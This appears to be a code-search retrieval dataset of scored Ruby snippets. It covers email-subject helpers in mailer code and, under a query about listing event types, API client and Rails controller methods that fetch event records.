[ { "docid": "6e22705292663a129eebb4605b0d719c", "score": "0.0", "text": "def download_email email_address, download_link\n @download_link = download_link\n mail to: email_address\n end", "title": "" } ]
[ { "docid": "ea740e704e8f1173fb87b45dfcaaf989", "score": "0.74865067", "text": "def subject_for(key)\n I18n.t(:subject, scope: [:mailer, key])\n end", "title": "" }, { "docid": "8928fe4f050d7ebd3e9aa992b07e320a", "score": "0.7167342", "text": "def subject_for\n ActiveSupport::Deprecation.warn \"subject_for\"\n I18n.t(:\"subject\", scope: [:notifications, :mailer],\n default: [:subject])\n end", "title": "" }, { "docid": "4ff9c58cae5e6739edda949291e18f0b", "score": "0.7088858", "text": "def subject=(text)\n self.subject_raw = SMail::MIME.encode_field(text)\n end", "title": "" }, { "docid": "adc4d6f399275aa030fdd9d865497b26", "score": "0.7069948", "text": "def subject(subj)\n if not subj.instance_of? String\n STDERR.puts \"ELTmail::Mail: subject ERROR: requires a String\"\n exit 1\n end\n @subject=subj\n @message.header.subject=@subject\n end", "title": "" }, { "docid": "6140e73ee355af7cdcaa1bec13316266", "score": "0.70342046", "text": "def subject\n @subject ||= @email.subject.to_s\n end", "title": "" }, { "docid": "8ce192cb0eeac1cca7c1d5f1295be992", "score": "0.69944024", "text": "def subject\n @subject ||= convert(Mail::Encodings.decode_encode(message.subject || '', :decode))\n end", "title": "" }, { "docid": "25da83c993ce4cf1f7b9941e027ed63a", "score": "0.69583446", "text": "def subject\n email_message.subject\n end", "title": "" }, { "docid": "c99eda28be9b3fe1f10546bb5e4340fb", "score": "0.6915377", "text": "def digest_email_subject(digest_group = nil)\n if digest_group\n translate_path = \"digest_notifier.#{digest_group.i18n_name_space}.email_subjsct\"\n \"#{DigestNotifier.app_name} #{I18n::t(translate_path, :default => 'todays updates')}\"\n else\n \"#{DigestNotifier.app_name} #{I18n::t('digest_notifier.email_subject', :default => 'todays updates')}\"\n end\n end", "title": "" }, { "docid": "542885bb44aabef24a05ce9d9749449c", "score": "0.6911256", "text": "def subject_for(key)\n I18n.t(:\"#{devise_mapping.name}_subject\", scope: [:devise, :mailer, key],\n default: [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "c4a674d85e621eef1f1b8d2584c5ccf4", "score": "0.68640363", "text": "def subject\n I18n.t('flowdock.inbox_message.subject', message_type: I18n.t(\"flowdock.inbox_message.type.#{@type}\"), store_name: current_store.name)\n end", "title": "" }, { "docid": "5b97accc2422140e68c3765af2839e19", "score": "0.6852375", "text": "def subject\n\n unless @subject\n subject = mail.subject.strip rescue \"\"\n ignores = config['ignore']['text/plain']\n if ignores && ignores.detect{|s| s == subject}\n @subject = \"\"\n else\n @subject = transform_text('text/plain', subject).last\n end\n end\n\n @subject\n end", "title": "" }, { "docid": "d2f26cb27e81ae8b03fd141a0f231955", "score": "0.6841", "text": "def subject=(subject); @message_impl.setSubject subject; end", "title": "" }, { "docid": "de234bc160d6b9ea980e7d1cfb28d1e4", "score": "0.68312734", "text": "def subject\n SMail::MIME.decode_field(subject_raw)\n end", "title": "" }, { "docid": "dc0e2948b8652d7848b464a5ec15a020", "score": "0.67203397", "text": "def subject(string)\n self << \"SUBJECT\" << string\n end", "title": "" }, { "docid": "9dfb96ef610a526869a40a23f0c90a91", "score": "0.6710167", "text": "def subject_raw=(text)\n self.header_set('subject', text)\n end", "title": "" }, { "docid": "75e4ae88ce617fd153e0a7564934bd04", "score": "0.6707537", "text": "def default_subject\n DEFAULT_SUBJECT\n end", "title": "" }, { "docid": "adab5fbcef94747391c4ce52e337047e", "score": "0.6561599", "text": "def subject=(subject)\n set_content_for :subject, subject\n end", "title": "" }, { "docid": "519f685ed317139cbea72085c30086ef", "score": "0.6545657", "text": "def subject(*extra)\n subject = []\n\n subject.concat(extra) if extra.present?\n\n if core_config['email_subject_suffix'].present?\n subject << core_config['email_subject_suffix']\n end\n\n subject.join(' | ')\n end", "title": "" }, { "docid": "0057005be13d2471732baf09ab7f3e03", "score": "0.6515551", "text": "def subject\n \"[#{I18n.t('app_name')} #{Rails.env.upcase}] #{message.subject}\"\n end", "title": "" }, { "docid": "a88f0f72dc91909c2d67b95574182c34", "score": "0.6467638", "text": "def subject\n @msg['Subject']\n end", "title": "" }, { "docid": "a88f0f72dc91909c2d67b95574182c34", "score": "0.6467638", "text": "def subject\n @msg['Subject']\n end", "title": "" }, { "docid": "d3fe97d40a71821834b836df97a93c27", "score": "0.64323825", "text": "def test_set_subject\n email = SendgridRuby::Email.new\n\n email.set_subject(\"Test Subject\")\n assert_equal(\"Test Subject\", email.get_subject)\n end", "title": "" }, { "docid": "dc7d12811f6d234ea98ad06ca7ef51d8", "score": "0.64309824", "text": "def default_i18n_subject(interpolations = {}) # :doc:\n mailer_scope = self.class.mailer_name.tr(\"/\", \".\")\n I18n.t(:subject, **interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))\n end", "title": "" }, { "docid": "086f3cabbe22eb51f456ff15266621f2", "score": "0.64259475", "text": "def subject=(s)\n msg = Message.new\n msg.subject = s\n send(msg)\n end", "title": "" }, { "docid": "f2fecd58a29b9acf94ad3b95a78dc2e7", "score": "0.6423823", "text": "def welcome_email_subject\n @attributes[:welcome_email_subject]\n end", "title": "" }, { "docid": "6a26cb28e002fcdcabff93f31a7d3216", "score": "0.63850284", "text": "def subject=(subject)\n @content[pn(:Subject)] = pl(subject)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.6384146", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1117fdba834d3a1af2cdb19084b1bec2", "score": "0.63829046", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "0aa1cc7584224f23051efac49931c5e7", "score": "0.6382772", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "0aa1cc7584224f23051efac49931c5e7", "score": "0.6382772", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "0aa1cc7584224f23051efac49931c5e7", "score": "0.6382772", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "1f23f200a3e5878c4bd5453d4bf9dafe", "score": "0.637805", "text": "def subject=(s)\n replace_element_text('subject', s)\n end", "title": "" }, { "docid": "50f888854f638edf42618d35300fb025", "score": "0.6373246", "text": "def subject=( str )\n set_string_attr 'Subject', str\n end", "title": "" }, { "docid": "d02590da2d541720cfc9e50f188c9ac4", "score": "0.6357589", "text": "def email\n @subtitle = \"Email\"\n end", "title": "" }, { "docid": "60a2d908c8044990c844333ae54c7235", "score": "0.6350544", "text": "def SetSubject(subject)\n #Subject of document\n @subject = subject\n end", "title": "" }, { "docid": "2d6331689dbede789150dacf78dbe51f", "score": "0.6347675", "text": "def subject( default = nil )\n if h = @header['subject']\n h.body\n else\n default\n end\n end", "title": "" }, { "docid": "3595e96093bf4fdb3c90ed70810c54bc", "score": "0.6339424", "text": "def subject(string)\n return add_params(SUBJECT, string)\n end", "title": "" }, { "docid": "0c3396cb0dae322e35cdf4231cd444d6", "score": "0.6310671", "text": "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end", "title": "" }, { "docid": "cb3903bb72c279531d812f561910449a", "score": "0.6302272", "text": "def email_changed(record, opts = {})\n opts[:subject] = \"#{default_title}: #{t(:email_changed)}\"\n super\n end", "title": "" }, { "docid": "01135c890b85dbc9c9f897f87df4fe98", "score": "0.6299406", "text": "def subject=(s)\n raise ArgumentError, \"subject must be a String, or respond to to_s\" unless s.is_a?(String) or s.respond_to?(\"to_s\")\n\n @alert.subject = s\n end", "title": "" }, { "docid": "ab155e65d0a7fb6e58826542bee8d360", "score": "0.628863", "text": "def auto_reply_subject(enquiry)\n I18n.t('integral.contact_mailer.auto_reply.subject', reference: enquiry.reference)\n end", "title": "" }, { "docid": "c6afc3626cbbe68cf6cd38b69eea3b85", "score": "0.6279713", "text": "def setup_mail( recipient, data, key, translation_data = {} )\n subject \"[#{ self.class.site_name }] #{ translate( key, translation_data ) }\"\n from NOTIFICATION_EMAILS_COME_FROM # config/initializers/50_general_settings.rb\n recipients recipient\n sent_on Time.now\n content_type 'text/plain'\n body render(\n :file => \"canvass_mailer/#{ key }.txt.erb\",\n :body => { :data => data }\n )\n end", "title": "" }, { "docid": "00b6a5821d086aac53df53d687eee6bd", "score": "0.6267595", "text": "def subject=(subject)\n Cproton.pn_message_set_subject(@impl, subject)\n end", "title": "" }, { "docid": "20e4267b6397ef5409d8d48a8cdac18d", "score": "0.6215542", "text": "def add_default_subject\n self.subject = 'IMPORTANT!!!'\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6170852", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "6e74d38982d77ab2d4f1247a232115b0", "score": "0.6148167", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "cf2a25634b64117bc458dafa8c7f8602", "score": "0.61470443", "text": "def subject=(s)\n self.cached_alert_group = nil\n attribute_set(:subject, s)\n end", "title": "" }, { "docid": "23eff6c61a6c900432383b9130c65add", "score": "0.6141808", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "7faada5dc2a3e533d1e8b13bf66999ee", "score": "0.613732", "text": "def subject=(text)\n subject_element.set text\n end", "title": "" }, { "docid": "8a5f0f8f2669885dc872baa7143b45c7", "score": "0.6130515", "text": "def subject_label=(label)\n @subject_label = label\n @subject_label_customized = true\n end", "title": "" }, { "docid": "acf6d147f72804aba88819156ef816a8", "score": "0.61111325", "text": "def subject=(subject)\n @subject=subject\n end", "title": "" }, { "docid": "d559f396e2aaf6d814c15d1286fe3fa4", "score": "0.6093343", "text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "fa33adbf1eecc39bcd457b78590d6d3f", "score": "0.60772526", "text": "def subject=(s)\n\t\t@subject = s\n\tend", "title": "" }, { "docid": "d0e1de61fdd3b17c2381046c60ded7bd", "score": "0.60715425", "text": "def subject_name\n subject_full_name\n end", "title": "" }, { "docid": "35beeb99a41debf763c1e156b22cf4c5", "score": "0.6067847", "text": "def rezm_subject_and_status(email)\n if email.receiver_deleted?\n email.subject + \" (Deleted)\" \n elsif email.read_at.nil?\n email.subject + \" (Unread)\" \n else \n email.subject\n end\n end", "title": "" }, { "docid": "8e5e8a32e59042d47143922abe60d271", "score": "0.6061796", "text": "def get_subject(params = {}, alternate_text = '')\n\n # set the subject to the default if nothing else better comes along\n subject = alternate_text\n\n # we have to guard against templates not being loaded\n if @notification_template && @notification_template.subject\n subj_template = Liquid::Template.parse(@notification_template.subject) rescue nil\n subject = subj_template.render({'params' => params})\n end\n subject\n end", "title": "" }, { "docid": "0d214ce6c70e5f2f96c759e4cff712c7", "score": "0.6049659", "text": "def subject\n fetch('educator.subject')\n end", "title": "" }, { "docid": "4d8058de5ee50494a343c536b1883767", "score": "0.6049379", "text": "def build_subject(uid, subject)\n return \"[TW-#\" + uid + \"] \" + subject\n end", "title": "" }, { "docid": "98da9102c01851fa213c08ba869b9856", "score": "0.60021967", "text": "def subject=(subject)\n @subject = subject\n end", "title": "" }, { "docid": "422b8a96f3d51add2d884b8ab82a0752", "score": "0.59946036", "text": "def massage_subject(subject='',errata=nil)\n \"ET: #{\"#{errata.name_release_and_short_title}\" if errata}#{\"#{' - ' if errata}#{subject}\" if !subject.blank?}\"\n end", "title": "" }, { "docid": "cf38a7b0c25cdaf4caa7f669a2c81211", "score": "0.5982773", "text": "def subject_raw\n self.header('subject')\n end", "title": "" }, { "docid": "d8decc4e6f01660c7e8f4bb726fe5ad1", "score": "0.59826213", "text": "def set_subject(s)\n self.subject = s\n self\n end", "title": "" }, { "docid": "08611253a1d3cae6dfbc8b4238e247ee", "score": "0.59813577", "text": "def subject\n @subject = page.present? ? page.present_title(vars) : nil\n end", "title": "" }, { "docid": "80d5fa595480d12757a2c519884f7b3f", "score": "0.5977194", "text": "def subject\n first_element_text('subject')\n end", "title": "" }, { "docid": "53732f74790b6b444ae44583691fa9bd", "score": "0.5975657", "text": "def headers\n {\n :subject => I18n.t('ecm.contact_form.attributes.subscription_request.subject'),\n :to => \"recipient@your-site.com\",\n :from => %(\"#{fullname}\" <#{email}>)\n }\n end", "title": "" }, { "docid": "441e62b981d3668556119f56fbc674a3", "score": "0.59732413", "text": "def set_subject(default_subject)\n Rails.env.production? ? default_subject : \"TEST-#{default_subject}\"\n end", "title": "" }, { "docid": "9f95361cf5e95156660c6c2cbddcb24a", "score": "0.5969556", "text": "def subject_and_body\n if subject.blank?\n body.blank? ? '' : body\n else\n body.blank? ? subject : \"#{subject} - #{body}\"\n end\n end", "title": "" }, { "docid": "845e4f68ce289ae4e1388b791bd21f8d", "score": "0.5958686", "text": "def set_title\n @title = t(:message_2, :scope => [:controller, :terms])\n end", "title": "" }, { "docid": "3ced77486c3fe9f91298bd4216254c91", "score": "0.59198976", "text": "def subject_name\n nil unless @subject\n if subject_class.respond_to?(:human_name)\n subject_class.human_name(:locale => Remarkable.locale)\n else\n subject_class.name\n end\n end", "title": "" }, { "docid": "0bb51af8e2fb83533ca430c259063010", "score": "0.59130865", "text": "def subject(subj = nil)\n set_multi_simple(:subject, subj)\n end", "title": "" }, { "docid": "917cbe14183cf342539eabdfc66fca4c", "score": "0.58935887", "text": "def subject\n @header[:subject]\n end", "title": "" }, { "docid": "3017141db42381c7cc5da401735d5c9e", "score": "0.5864803", "text": "def subject\n read_content :subject\n end", "title": "" }, { "docid": "705f0c58b64c0240e72ea4241bb93fbe", "score": "0.58612686", "text": "def email_custsubj; det.form(:name, 'configSmtpEmail').text_field(:id, 'subject'); end", "title": "" }, { "docid": "90c6732368de3042690459d8bd443970", "score": "0.5858158", "text": "def parse_subject(mail)\n decode_jp(mail.subject, nil)\n end", "title": "" }, { "docid": "6427ec8e71d712ad7ec5452db3e52455", "score": "0.58525974", "text": "def mail_to_subscriber(email)\n begin\n @lang = Helper.getLang\n @setting = Setting.where(lang: @lang, id: 1, deleted_at: nil).select(:email, :address, :phone_dn).first\n mail(to: email, subject: '[ANS Asia] BrSE School - ' + t('mail_title_thanks_for_subscribing'))\n rescue\n end\n end", "title": "" }, { "docid": "1ed364e3ab9abb0823f0d98e397e066d", "score": "0.5844267", "text": "def email_subject_request\n # XXX pull out this general_register_office specialisation\n # into some sort of separate jurisdiction dependent file\n if self.public_body.url_name == 'general_register_office'\n # without GQ in the subject, you just get an auto response\n _('{{law_used_full}} request GQ - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n else\n _('{{law_used_full}} request - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n end\n end", "title": "" }, { "docid": "9551eb90f80aa9fb84b38c34d66ceb5b", "score": "0.583354", "text": "def buildEmailSubject()\n begin\n configParams = BWAParams.new()\n configParams.loadFromFile()\n library = configParams.getLibraryName()\n fcBarcode = configParams.getFCBarcode()\n rescue\n if fcBarcode == nil || fcBarcode.empty?()\n fcBarcode = \"unknown\"\n end\n end\n\n # Fill in the fields for sending the email\n @emailSubject = \"Illumina Alignment Results : Flowcell \" + fcBarcode.to_s\n\n if library != nil && !library.empty?\n @emailSubject = @emailSubject + \" Library : \" + library.to_s\n end\n end", "title": "" }, { "docid": "7a71c38641a8e1e8d966f64a383149ae", "score": "0.58192384", "text": "def translation_email\n @translations = get_translation_by_lang\n lang_parsed = JSON.parse(@translations)\n @data = lang_parsed['data']\n @mailT = @data[0]['Miscellaneous']['mail']\n\n end", "title": "" }, { "docid": "dfa4ecb662f4081560f4e222e22056ef", "score": "0.58137476", "text": "def define_subject(subject)\n if subject =~ /^Re: /\n subject\n else\n \"Re: #{subject}\"\n end\n end", "title": "" }, { "docid": "4736787548a4fd24819ff708f38d2136", "score": "0.57938147", "text": "def gen_subject\n subject_name = \"/C=#{EasyRSA::Config.country}\"\n subject_name += \"/ST=#{EasyRSA::Config.state}\" unless !EasyRSA::Config.state || EasyRSA::Config.state.empty?\n subject_name += \"/L=#{EasyRSA::Config.city}\"\n subject_name += \"/O=#{EasyRSA::Config.company}\"\n subject_name += \"/OU=#{EasyRSA::Config.orgunit}\"\n subject_name += \"/CN=#{@id}\"\n subject_name += \"/name=#{EasyRSA::Config.name}\" unless !EasyRSA::Config.name || EasyRSA::Config.name.empty?\n subject_name += \"/emailAddress=#{@email}\"\n\n @cert.subject = OpenSSL::X509::Name.parse(subject_name)\n end", "title": "" }, { "docid": "18b111f45ada5085dece93ef7fd198d8", "score": "0.579254", "text": "def topic_subject\n \"#{subject_topic} - #{name}\"\n end", "title": "" }, { "docid": "d7d5a9a0a42ea8916b34a3e34963e03c", "score": "0.5771866", "text": "def generate_subject\n hostname = get_nagios_var(\"NAGIOS_HOSTNAME\")\n service_desc = get_nagios_var(\"NAGIOS_SERVICEDESC\")\n notification_type = get_nagios_var(\"NAGIOS_NOTIFICATIONTYPE\")\n state = get_nagios_var(\"NAGIOS_#{@state_type}STATE\")\n\n subject=\"#{hostname}\"\n subject += \"/#{service_desc}\" if service_desc != \"\"\n\n if @state_type == \"SERVICE\"\n long_subject=\"#{notification_type} Service #{subject} is #{state}\"\n else\n long_subject=\"#{notification_type} Host #{subject} is #{state}\"\n end\n\n @content[:subject] = long_subject\n @content[:short_subject] = \"\"\n end", "title": "" }, { "docid": "320d10e13bafcf60d3afbcaa3f62494d", "score": "0.57711023", "text": "def subject\n @certificate.subject\n end", "title": "" }, { "docid": "79c4a42d5ae41a1908ad22f8edf441f8", "score": "0.57676744", "text": "def subject=(subject)\n @subject = subject\n super\n end", "title": "" }, { "docid": "dd456b0733bb7b3091a7d85feb7c7547", "score": "0.57659745", "text": "def set_subject(subject)\n @subject = subject.gsub(/[&]/, '&amp;').gsub(/[<]/, '&lt;').gsub(/[']/, '&apos;')\n self\n end", "title": "" }, { "docid": "2b0decb074fe87eb6851f249be929646", "score": "0.5765568", "text": "def subject_title\n self.title || self.project_doc_id || self.to_id\n end", "title": "" }, { "docid": "91927af29dd0e00c0374e761ec60174c", "score": "0.57576346", "text": "def subject_prefix\n return \"[#{SUBJECT_PREFIX}] \" if Object.const_defined?('SUBJECT_PREFIX')\n ''\n end", "title": "" } ]
c2a729a1a8b7c3cb607e1dc2709d4be3
List event types Fetch all event type definitions for your account.
[ { "docid": "172efbb8ed1911c1f322ab8f8d044b46", "score": "0.0", "text": "def get_event_types_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_event_types ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_event_types, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_event_types, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/event_types'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'includeOldVersions'] = opts[:'include_old_versions'] if !opts[:'include_old_versions'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20036' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_event_types\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "e7f0d86fc19cb5dc0672a0abcf642c49", "score": "0.72028315", "text": "def get_event_types(opts = {})\n data, _status_code, _headers = get_event_types_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "367e3221f381ded8e342895a7d7cf84c", "score": "0.71378183", "text": "def index\n @eventtypes = Eventtype.all\n end", "title": "" }, { "docid": "4381d1d6d7c23c835903d6fac43050f8", "score": "0.7055837", "text": "def index\n @event_types = EventType.all\n respond_with @event_types\n end", "title": "" }, { "docid": "d1926641606a5b48b42c82bb4889e891", "score": "0.7053215", "text": "def all_events\n event_types.map { |etype| events(etype) }\n end", "title": "" }, { "docid": "8d1c708cfc740b74fdb9023fb933a38e", "score": "0.69717824", "text": "def event_types\n @event_types\n end", "title": "" }, { "docid": "31ce2382edbbe7633d4f554d33bf62f2", "score": "0.69063574", "text": "def index\n @event_types = EventType.paginate(page: params[:page])\n end", "title": "" }, { "docid": "1f348ff7a5adaf3c0c934a8308c9450d", "score": "0.66288245", "text": "def index\n @event_types = EventType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @event_types }\n end\n end", "title": "" }, { "docid": "519da913d9a62fc2b86893c0d5961c5b", "score": "0.65138674", "text": "def index\n @event_types = EventType.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_types }\n end\n end", "title": "" }, { "docid": "05d9c15955522fd60271837b04c2a4ec", "score": "0.6473625", "text": "def index\n @event_types = EventType.all.sort { |p1, p2| p1.name <=> p2.name }\n\n respond_to do |format|\n format.json { render json: @event_types }\n format.xml { render xml: @event_types.to_xml({ include: :categories }) }\n end\n end", "title": "" }, { "docid": "490e7bf2fbb42f1e9eef4c1fe1b0c812", "score": "0.6336616", "text": "def list_events(criteria = {})\n events(criteria: criteria)\n end", "title": "" }, { "docid": "bb83eead2a43c3196d24c1d20123cf05", "score": "0.62948394", "text": "def get_event_types( session_key)\n response_xml = self.call( :get_event_types, message: {\n arg0: session_key\n })\n response = IssueCentre::Response.parse( response_xml)\n end", "title": "" }, { "docid": "c0e2567efed947f3e01a4289e857c46a", "score": "0.62716633", "text": "def list_of_events\n @events = Event.find(:all)\n @report_name = \"List of Events\"\n end", "title": "" }, { "docid": "6dfa825090a0345739db26145778532e", "score": "0.6259432", "text": "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "title": "" }, { "docid": "a1aaf44857d9561e24b6aefd8428b78b", "score": "0.6243144", "text": "def index\n @event_types = EventType.all.includes([:rich_text_body]).order(:name)\n respond_to do |format|\n format.turbo_stream { render \"shared/index\", locals: { object: EventType.new, objects: @event_types } }\n end\n end", "title": "" }, { "docid": "347df5b7898da838b2a7853b287caaa1", "score": "0.6232718", "text": "def all(params = {})\n req = WebPay::EventListRequest.create(params)\n raw_response = @client._request(:get, 'events', req)\n WebPay::EventResponseList.new(raw_response)\n end", "title": "" }, { "docid": "c3886ee463cb716245080e71e326e865", "score": "0.6205652", "text": "def event_types; end", "title": "" }, { "docid": "4f815d7d6307b0eafd79745c88ceb7e9", "score": "0.6169627", "text": "def event_types\n meeting_events.includes(:event_type).map(&:event_type)\n end", "title": "" }, { "docid": "38ae314b206354483ef7ada16a7c3b0b", "score": "0.6116177", "text": "def index\n @events = Events::Event.all\n end", "title": "" }, { "docid": "0e0132be5c602e5e80bb82ed92a643d4", "score": "0.6086787", "text": "def events\n event_enum\n end", "title": "" }, { "docid": "0e0132be5c602e5e80bb82ed92a643d4", "score": "0.6086787", "text": "def events\n event_enum\n end", "title": "" }, { "docid": "024d8b2d1b6854cf335a474ef86bbc08", "score": "0.59714913", "text": "def show\n @event_types = EventType.find(params[:id])\n respond_with @event_type\n end", "title": "" }, { "docid": "5025ae3da2b73102bfa0a39e2789e2eb", "score": "0.59338504", "text": "def index\n @calendar_types = CalendarType.all\n end", "title": "" }, { "docid": "dd4c5b30ca36a5e3827a28842daaad8b", "score": "0.59291494", "text": "def events\n event_lookup()\n end", "title": "" }, { "docid": "dd4c5b30ca36a5e3827a28842daaad8b", "score": "0.59291494", "text": "def events\n event_lookup()\n end", "title": "" }, { "docid": "5febda362ddaf472b8c6c6319cecc36f", "score": "0.59152395", "text": "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "title": "" }, { "docid": "88294461f29bd940b6b8727530936b7b", "score": "0.5898399", "text": "def events_list(opts = {})\n data, _status_code, _headers = events_list_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "55e9680d00bbafbcda922c745fe8d98d", "score": "0.5894965", "text": "def all_custom_events(options = {})\n request_model = @request_model_factory.all_custom_event_request_model(options)\n response = @network_client.perform_request(request_model)\n JSON.parse(response.body)['custom_events'].map do |array|\n Fabricio::Model::CustomEventType.new(array)\n end\n end", "title": "" }, { "docid": "e985a640640a48b28ed168e69a1e19dd", "score": "0.587515", "text": "def event_list\n @_events\n end", "title": "" }, { "docid": "955941745d29ac4b4ebd182e0e82cc32", "score": "0.5855131", "text": "def index\n @events = current_user.account.events\n end", "title": "" }, { "docid": "08f39e36bcfa9af1ea2dc3bfca7404c8", "score": "0.5854341", "text": "def index\n\t\t@events = Event.all\n\tend", "title": "" }, { "docid": "08f39e36bcfa9af1ea2dc3bfca7404c8", "score": "0.5854341", "text": "def index\n\t\t@events = Event.all\n\tend", "title": "" }, { "docid": "8e304abd138e8f194a3070c4f0c8c854", "score": "0.5821744", "text": "def events\n collection(\"events\")\n end", "title": "" }, { "docid": "815b93175de0ab831b1e552f82b485b0", "score": "0.57608485", "text": "def list_events(events, question)\n\n clear_screen\n\n events_hash = events.map.with_index(1) do |event|\n {name: event.name, value: event}\n end\n\n @prompt.select(question, events_hash, per_page: 20)\n\n end", "title": "" }, { "docid": "9ef9fe4ac574a4a0b96a07ff83ab9d0d", "score": "0.5745513", "text": "def index\n if @account.can_modify_event?\n if params.has_key?(:id)\n @events_for = Account.find(params[:id])\n response_not_found unless @events_for\n @events = Event.find_all_for_account(@events_for)\n else\n @events_for = nil\n @events = Event.all\n end\n else\n @events_for = @account\n @events = Event.find_all_for_account(@account)\n end\n @events = @events.sort_by(&:title)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end", "title": "" }, { "docid": "ef4cfccba783fb6a2a434c528ec00ed9", "score": "0.5728037", "text": "def index\n\t\t#@events = Event.all //by default it loads everything\n\tend", "title": "" }, { "docid": "2a3ec900bb55481d6c47bec1ede33bbc", "score": "0.5727967", "text": "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "title": "" }, { "docid": "8a15f8061a3edad24f57110729a29540", "score": "0.5713845", "text": "def index\n @events = @calendar.events.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "c386bceb862241ce73618503e0572e12", "score": "0.5712747", "text": "def index\n # todo implement search and sort and paginate\n @events = Legacy::LegacyEvent.order(\"created_date DESC\").paginate(:page => params[:page])\n end", "title": "" }, { "docid": "19cea6c61c5d898430116d52fcc2353d", "score": "0.56987756", "text": "def index\n @events = Event.all()\n end", 